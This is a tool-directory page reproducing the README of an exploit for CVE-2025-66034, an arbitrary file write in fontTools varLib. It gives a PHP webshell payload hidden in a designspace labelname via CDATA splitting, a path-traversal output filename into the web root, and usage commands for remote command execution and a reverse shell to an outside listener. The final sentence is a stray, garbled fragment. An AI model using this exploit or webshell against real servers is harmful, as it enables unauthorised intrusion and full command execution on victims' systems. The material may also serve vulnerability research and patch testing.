Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-66034 — CVE-2025-66034 exploit and documentation | Kitploit
Tools/GitHubGitHub/tristanqtn/cve-2025-66034
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubtristanqtn/cve-2025-66034

CVE-2025-66034

CVE-2025-66034 exploit and documentation

View Repository
115 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-66034 — fontTools varLib Arbitrary File Write

Vulnerability

fontTools is a Python library for manipulating font files. Its varLib module processes .designspace files — an XML format that describes how multiple font masters should be interpolated to produce a variable font.

Two weaknesses exist in the affected versions:

1. Unsanitised output filename

The <variable-font filename="..."> attribute in a designspace file controls where varLib writes the compiled output font. The library performs no validation or normalisation of this path before passing it to the filesystem. An attacker can supply an absolute path or a path traversal sequence to write the output file to any location the process has write access to.

2. XML content passed through to the output

fontTools serialises axis label names from <labelname> elements directly into the output font's name table as raw bytes, without sanitising the content. Any string placed inside a <labelname> block — including PHP code — ends up verbatim in the written file.

Together these two weaknesses allow an attacker who can submit a designspace file to a fontTools-backed web endpoint to write an arbitrary file containing arbitrary content to any writable path on the server.

Download Tool

Attack Chain

Step 1 — Craft the malicious designspace

The designspace file contains two injections.

The first is in the <labelname> element:

root@kitploit:~
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>

CDATA sections in XML allow arbitrary character data without entity escaping, but they cannot themselves contain the sequence ]]> because that terminates the section. The PHP closing tag ?> would cause a parse error if written naively. The sequence ]]]]><![CDATA[> closes one CDATA section immediately after ]] and opens a new one starting with >, so the final rendered content is <?php system($_REQUEST["cmd"]);?> — syntactically valid PHP — without ever triggering an XML parser error.

The second injection is in the output path:

root@kitploit:~
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">

fontTools constructs the output file handle from this string with no path normalisation. The file is created at that exact location.

Step 2 — Supply a valid TTF master

varLib requires at least one source font to compile. The master does not need to be a real font — a minimal TTF with a single empty glyph is sufficient to pass validation. The embedded base64 TTF in this exploit was generated with fontTools FontBuilder and contains only a .notdef glyph with a square contour and the minimum required tables (head, hhea, OS/2, cmap, glyf, hmtx, name, post).

Step 3 — POST to the processor endpoint

The exploit submits the designspace and TTF as a multipart/form-data POST to the web application's font generation endpoint. The server passes the files to varLib.build(). varLib parses the designspace, reads the master, compiles the variable font, and writes it to the path specified in filename= — which is the web root.

Step 4 — Execute commands via the webshell

The written file is a binary font file with the PHP payload embedded inside it. PHP's parser scans files for opening tags rather than requiring the file to consist entirely of PHP. When the web server processes the file as PHP it finds <?php system($_REQUEST["cmd"]);?> and executes it. Everything before and after the tag is emitted as-is and ignored.

Step 5 — Extract output from the response

The response body is the raw font binary. Command output lands between two predictable landmarks that fontTools writes into the name table:

  • TestWeight400 — derived from the family and weight class fields in the embedded master TTF
  • ]]>ThinMEOW2 — from the French <labelname> element in the designspace

The exploit slices the response between these two strings and strips residual XML tags with BeautifulSoup to produce clean command output.


Requirements

root@kitploit:~
pip install requests beautifulsoup4

Usage

All three target parameters are required. No defaults are hardcoded.

root@kitploit:~
--process-url   Full URL of the font processor endpoint
--shell-url     Full URL where the webshell will be reachable after the write
--write-path    Filesystem path the server will write the shell to

Optional:

root@kitploit:~
--session       PHPSESSID cookie value (if the portal requires authentication)
--no-plant      Skip the upload step (shell already planted)
--hostname      Label shown in the interactive prompt

Execute a single command

root@kitploit:~
python3 exploit.py \
  --process-url http://app.example.com/tools/variable-font-generator/process \
  --shell-url   http://portal.example.com/files/webshell.php \
  --write-path  /var/www/portal.example.com/public/files/webshell.php \
  exec 'id'

Interactive pseudo-shell

root@kitploit:~
python3 exploit.py \
  --process-url http://app.example.com/tools/variable-font-generator/process \
  --shell-url   http://portal.example.com/files/webshell.php \
  --write-path  /var/www/portal.example.com/public/files/webshell.php \
  --session     YOUR_PHPSESSID \
  --hostname    webserver \
  interactive

Reverse shell

Start a listener first:

root@kitploit:~
nc -lvnp 4444

Then trigger:

root@kitploit:~
python3 exploit.py \
  --process-url http://app.example.com/tools/variable-font-generator/process \
  --shell-url   http://portal.example.com/files/webshell.php \
  --write-path  /var/www/portal.example.com/public/files/webshell.php \
  revshell 10.10.16.1 4444

The reverse shell payload is base64-encoded before transmission to avoid shell metacharacter escaping issues inside the cmd query parameter. exists in the varLib module's build() function and the designspace parser.